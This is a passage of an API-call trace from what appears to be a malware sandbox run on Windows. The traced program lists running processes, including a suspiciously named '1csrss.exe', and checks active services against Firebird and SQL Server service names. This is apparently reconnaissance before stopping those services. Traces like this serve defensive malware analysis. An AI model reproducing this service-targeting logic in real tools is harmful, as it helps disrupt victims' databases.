lpString2="SSDPSRV") returned -1 [0306.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0306.748] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0306.748] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0306.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0306.748] lstrlenW (lpString="StateRepository") returned 15 [0306.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0306.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0306.748] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0306.748] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0306.748] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0306.748] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f0 [0306.751] Process32FirstW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0306.752] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0306.752] lstrlenW (lpString="System") returned 6 [0306.752] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0306.753] lstrlenW (lpString="smss.exe") returned 8 [0306.753] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0306.754] lstrlenW (lpString="csrss.exe") returned 9 [0306.754] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0306.754] lstrlenW (lpString="wininit.exe") returned 11 [0306.754] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0306.755] lstrlenW (lpString="csrss.exe") returned 9 [0306.755] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0306.756] lstrlenW (lpString="winlogon.exe") returned 12 [0306.756] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0306.756] lstrlenW (lpString="services.exe") returned 12 [0306.756] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0306.757] lstrlenW (lpString="lsass.exe") returned 9 [0306.757] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0306.758] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0306.758] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0306.759] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0306.759] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.759] lstrlenW (lpString="svchost.exe") returned 11 [0306.759] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.761] lstrlenW (lpString="svchost.exe") returned 11 [0306.761] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0306.761] lstrlenW (lpString="dwm.exe") returned 7 [0306.762] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.762] lstrlenW (lpString="svchost.exe") returned 11 [0306.762] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.763] lstrlenW (lpString="svchost.exe") returned 11 [0306.763] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.764] lstrlenW (lpString="svchost.exe") returned 11 [0306.764] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.765] lstrlenW (lpString="svchost.exe") returned 11 [0306.765] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.766] lstrlenW (lpString="svchost.exe") returned 11 [0306.766] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.766] lstrlenW (lpString="svchost.exe") returned 11 [0306.767] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.767] lstrlenW (lpString="svchost.exe") returned 11 [0306.767] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.768] lstrlenW (lpString="svchost.exe") returned 11 [0306.768] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.769] lstrlenW (lpString="svchost.exe") returned 11 [0306.769] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.769] lstrlenW (lpString="svchost.exe") returned 11 [0306.769] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0306.774] lstrlenW (lpString="spoolsv.exe") returned 11 [0306.774] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0306.775] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0306.775] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0306.776] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0306.776] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0306.776] lstrlenW (lpString="Memory Compression") returned 18 [0306.776] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.777] lstrlenW (lpString="svchost.exe") returned 11 [0306.777] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0306.778] lstrlenW (lpString="audiodg.exe") returned 11 [0306.778] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0306.778] lstrlenW (lpString="sihost.exe") returned 10 [0306.779] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.781] lstrlenW (lpString="svchost.exe") returned 11 [0306.781] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0306.782] lstrlenW (lpString="taskhostw.exe") returned 13 [0306.782] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0306.783] lstrlenW (lpString="explorer.exe") returned 12 [0306.783] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0306.783] lstrlenW (lpString="SearchUI.exe") returned 12 [0306.783] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0306.784] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0306.784] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0306.785] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0306.785] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0306.785] lstrlenW (lpString="1csrss.exe") returned 10 [0306.785] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.786] lstrlenW (lpString="svchost.exe") returned 11 [0306.786] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0306.787] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0306.787] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0306.788] lstrlenW (lpString="svchost.exe") returned 11 [0306.788] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0306.788] lstrlenW (lpString="consent.exe") returned 11 [0306.788] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0306.789] CloseHandle (hObject=0x4f0) returned 1 [0306.789] Sleep (dwMilliseconds=0x1f4) [0307.336] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc78 [0307.336] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0307.337] GetLastError () returned 0xea [0307.337] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0307.337] EnumServicesStatusExW (in: hSCManager=0x7ddc78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0307.338] CloseServiceHandle (hSCObject=0x7ddc78) returned 1 [0307.338] lstrlenW (lpString="Appinfo") returned 7 [0307.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0307.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0307.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0307.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0307.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0307.338] lstrlenW (lpString="AppXSvc") returned 7 [0307.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0307.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0307.338] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0307.338] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0307.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0307.339] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0307.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0307.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0307.339] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0307.339] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0307.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0307.339] lstrlenW (lpString="Audiosrv") returned 8 [0307.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0307.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0307.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0307.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0307.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0307.339] lstrlenW (lpString="BFE") returned 3 [0307.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0307.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0307.339] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0307.339] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0307.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0307.339] lstrlenW (lpString="BITS") returned 4 [0307.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0307.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0307.339] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0307.339] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0307.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0307.339] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0307.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0307.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0307.339] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0307.340] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0307.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0307.340] lstrlenW (lpString="CDPSvc") returned 6 [0307.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0307.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0307.340] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0307.340] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0307.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0307.340] lstrlenW (lpString="ClickToRunSvc") returned 13 [0307.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0307.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0307.340] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0307.340] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0307.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0307.340] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0307.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0307.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0307.340] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0307.340] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0307.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0307.340] lstrlenW (lpString="CryptSvc") returned 8 [0307.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0307.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0307.340] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0307.340] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0307.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0307.340] lstrlenW (lpString="DcomLaunch") returned 10 [0307.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0307.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0307.340] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0307.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0307.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0307.341] lstrlenW (lpString="DeviceAssociationService") returned 24 [0307.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0307.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0307.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0307.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0307.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0307.341] lstrlenW (lpString="Dhcp") returned 4 [0307.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0307.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0307.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0307.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0307.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0307.341] lstrlenW (lpString="Dnscache") returned 8 [0307.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0307.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0307.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0307.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0307.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0307.341] lstrlenW (lpString="DoSvc") returned 5 [0307.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0307.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0307.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0307.341] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0307.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0307.341] lstrlenW (lpString="DPS") returned 3 [0307.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0307.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0307.341] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0307.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0307.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0307.342] lstrlenW (lpString="DusmSvc") returned 7 [0307.342] lstrcmpiW 